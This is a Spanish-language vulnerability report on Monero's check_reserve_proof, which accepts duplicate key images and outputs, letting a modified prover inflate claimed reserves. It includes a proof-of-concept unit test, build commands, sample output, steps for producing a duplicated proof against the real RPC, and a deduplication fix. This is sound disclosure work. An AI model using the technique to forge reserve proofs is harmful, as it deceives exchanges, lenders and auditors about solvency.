Resumen
Una prueba de reservas (reserve proof) sirve para demostrar a un tercero cuánto XMR controla una dirección sin entregarle las claves. Quien la recibe la comprueba con check_reserve_proof (en src/wallet/wallet2.cpp, expuesto por RPC a través de on_check_reserve_proof en src/wallet/wallet_rpc_server.cpp, que se limita a reenviar la llamada).
La prueba es un blob que llega de fuera y que, por tanto, no es de fiar. Contiene un vector de reserve_proof_entry, y el verificador lo recorre fila a fila: comprueba las firmas de cada entrada contra un hash de prefijo y suma la cantidad de esa salida a total (y a spent si el nodo indica que su key image ya se gastó). El problema es que en ningún momento exige que cada key_image, o cada par (txid, index_in_tx), aparezca una sola vez.
El prefijo que se firma se construye concatenando el mensaje, la dirección y todas las key images en orden, igual que hace el generador legítimo get_reserve_proof:
std::string prefix_data = message;
prefix_data.append((const char*)&address, sizeof(cryptonote::account_public_address));
for (size_t i = 0; i < proofs.size(); ++i)
prefix_data.append((const char*)&proofs[i].key_image, sizeof(crypto::key_image));
crypto::hash prefix_hash;
crypto::cn_fast_hash(prefix_data.data(), prefix_data.size(), prefix_hash);
Si alguien repite la misma salida N veces en proofs, la key image también aparece N veces en el prefijo; basta con recalcular prefix_hash y firmar sobre él. El dueño de la salida tiene las claves necesarias para generar shared_secret_sig y key_image_sig válidas, y como esas comprobaciones son independientes por fila, ninguna detecta que esa key image ya se ha contado.
La contabilidad, por su parte, es una suma plana:
for (size_t i = 0; i < proofs.size(); ++i)
{
// ... fetch tx, verify proofs, derive output ...
total += amount;
if (kispent_res.spent_status[i])
spent += amount;
}
Resultado: el total declarado crece con el número de veces que se repite una fila, no con el número de salidas distintas que existen en la cadena. El get_reserve_proof estándar solo incluye cada salida una vez, pero nada impide a un probador modificado serializar duplicados.
El investigador lo comprobó en master @ 3ad4a5ee8 (v0.18.1.0-3ad4a5ee8) y señala que no es una regresión reciente: cualquier rama con este código de pruebas de reservas tiene el mismo hueco. HackerOne lo clasificó como error de lógica de negocio con severidad media.
Pasos de reproducción
Como check_reserve_proof necesita un nodo (para /gettransactions y /is_key_image_spent), la demostración se hizo con un test unitario en tests/unit_tests/reserve_proof.cpp que reproduce las piezas clave: la construcción del prefijo, la cadena de comprobaciones check_tx_proof / check_ring_signature de cada entrada y la suma total += amount.
- Añadir el test (versión recortada del original, sin el registro por pantalla):
TEST(reserve_proof, duplicateKeyImagesReuseValidEntrySignatures)
{
constexpr size_t duplicate_count = 3;
constexpr int reserve_proof_version = 2;
const std::string message = "unit-test-duplicate-ki-reserve-proof";
cryptonote::account_base account;
account.generate();
const cryptonote::account_keys &keys = account.get_keys();
std::unordered_map<crypto::public_key, cryptonote::subaddress_index> subaddresses;
subaddresses[keys.m_account_address.m_spend_public_key] = {0, 0};
crypto::public_key tx_pub;
crypto::secret_key tx_sec;
crypto::generate_keys(tx_pub, tx_sec, tx_sec, false);
crypto::key_derivation recv_derivation;
ASSERT_TRUE(keys.get_device().generate_key_derivation(tx_pub, keys.m_view_secret_key, recv_derivation));
crypto::public_key out_pub;
ASSERT_TRUE(crypto::derive_public_key(recv_derivation, 0, keys.m_account_address.m_spend_public_key, out_pub));
cryptonote::keypair ephemeral;
crypto::key_image ki;
ASSERT_TRUE(cryptonote::generate_key_image_helper(keys, subaddresses, out_pub, tx_pub, {}, 0, ephemeral, ki, keys.get_device()));
const crypto::public_key shared_secret =
rct::rct2pk(rct::scalarmultKey(rct::pk2rct(tx_pub), rct::sk2rct(keys.m_view_secret_key)));
std::string prefix_data = message;
prefix_data.append((const char *)&keys.m_account_address, sizeof(cryptonote::account_public_address));
for (size_t i = 0; i < duplicate_count; ++i)
prefix_data.append((const char *)&ki, sizeof(crypto::key_image));
crypto::hash prefix_hash;
crypto::cn_fast_hash(prefix_data.data(), prefix_data.size(), prefix_hash);
crypto::signature shared_secret_sig;
crypto::signature key_image_sig;
crypto::generate_tx_proof(prefix_hash, keys.m_account_address.m_view_public_key, tx_pub, boost::none,
shared_secret, keys.m_view_secret_key, shared_secret_sig);
const crypto::public_key *const pubs[1] = {&out_pub};
crypto::generate_ring_signature(prefix_hash, ki, pubs, 1, ephemeral.sec, 0, &key_image_sig);
crypto::signature spend_sig;
crypto::generate_signature(prefix_hash, keys.m_account_address.m_spend_public_key, keys.m_spend_secret_key, spend_sig);
ASSERT_TRUE(crypto::check_signature(prefix_hash, keys.m_account_address.m_spend_public_key, spend_sig));
for (size_t row = 0; row < duplicate_count; ++row)
{
ASSERT_TRUE(crypto::check_tx_proof(prefix_hash, keys.m_account_address.m_view_public_key, tx_pub, boost::none,
shared_secret, shared_secret_sig, reserve_proof_version));
ASSERT_TRUE(crypto::check_ring_signature(prefix_hash, ki, pubs, 1, &key_image_sig));
}
constexpr uint64_t output_amount = 7000000000000;
uint64_t total_as_verifier = 0;
for (size_t row = 0; row < duplicate_count; ++row)
total_as_verifier += output_amount;
ASSERT_EQ(total_as_verifier, duplicate_count * output_amount);
}
- Compilar los tests y ejecutar solo ese (las rutas locales del investigador se han sustituido por [REDACTADO]; si el enlazado se queda sin memoria al compilar
wallet2.cpp, usar-j1):
cmake -S [REDACTADO]/monero -B [REDACTADO]/monero/build/release \
-D CMAKE_BUILD_TYPE=Release -D BUILD_TESTS=ON
cmake --build [REDACTADO]/monero/build/release -j"$(nproc)" --target unit_tests
[REDACTADO]/monero/build/release/tests/unit_tests/unit_tests \
--gtest_filter=reserve_proof.duplicateKeyImagesReuseValidEntrySignatures \
--data-dir [REDACTADO]/monero/tests/data
- Comprobar la salida. Los valores de
prefix_hashykey_imagecambian en cada ejecución porque la cuenta es aleatoria, pero la contabilidad es siempre la misma:
[ RUN ] reserve_proof.duplicateKeyImagesReuseValidEntrySignatures
=== reserve_proof.duplicateKeyImagesReuseValidEntrySignatures ===
...
--- Accounting (mirrors check_reserve_proof: total += amount each row) ---
single on-chain output amount (atomic units): 7000000000000
proof rows summed: 3
reported total without dedup: 21000000000000
inflation vs one output: 3x
...
[ OK ] reserve_proof.duplicateKeyImagesReuseValidEntrySignatures (4 ms)
[ PASSED ] 1 test.
El test demuestra tres cosas: que el prefijo admite la misma key image varias veces y sigue produciendo un único prefix_hash firmable; que un mismo juego de firmas valida en todas las filas duplicadas; y que sumar la cantidad una vez por fila da duplicate_count × output_amount, exactamente como hace la cartera.
- Para verlo contra el RPC real
check_reserve_proof, el investigador describe este procedimiento: compilar cartera, nodo yfunctional_tests; duplicar temporalmenteselected_transfersenget_reserve_proofjusto después de finalizarlo (así se simula un probador malicioso sin tocar el verificador); generar una prueba nueva y verificarla.goodsigue siendotruemientrastotalse multiplica por el factor de duplicación. Al quitar el cambio,totalvuelve al saldo real.
Impacto
No permite robar fondos de una cartera: lo que hace es que check_reserve_proof mienta sobre cuánto XMR respalda una dirección. Cualquiera que use ese RPC como comprobación de solvencia (un exchange, un custodio, un prestamista, un puente entre cadenas o un auditor puntual) podría recibir una prueba que verifica correctamente y que, sin embargo, declara varias veces la posición real. En el ejemplo del test, una única salida de 7 XMR (7000000000000 unidades atómicas) aparece como 21 XMR al repetirla tres veces.
El propio investigador aclara que el test demuestra la forma criptográfica y contable del fallo, no un exploit listo para usar contra la red principal.
Remediación
La solución propuesta en el reporte es rechazar los duplicados antes de consultar al nodo o sumar cantidades, tanto por key image como por salida (txid, index_in_tx):
std::unordered_set<crypto::key_image> seen_key_images;
std::set<std::pair<crypto::hash, uint64_t>> seen_outputs;
for (const reserve_proof_entry &proof : proofs)
{
THROW_WALLET_EXCEPTION_IF(!seen_key_images.insert(proof.key_image).second,
error::wallet_internal_error, "Duplicate key image in reserve proof");
THROW_WALLET_EXCEPTION_IF(!seen_outputs.emplace(proof.txid, proof.index_in_tx).second,
error::wallet_internal_error, "Duplicate output in reserve proof");
}
Una vez aplicado, el test debería invertirse para esperar que la prueba se rechace cuando aparece una segunda fila idéntica. El investigador recomienda además publicar este arreglo junto con otro que documenta aparte, sobre la falta de vinculación de las cantidades RingCT en el mismo verificador: son dos formas distintas de mentir sobre las reservas. El reporte figura como resuelto, aunque no detalla el cambio concreto que se aplicó en el código de Monero.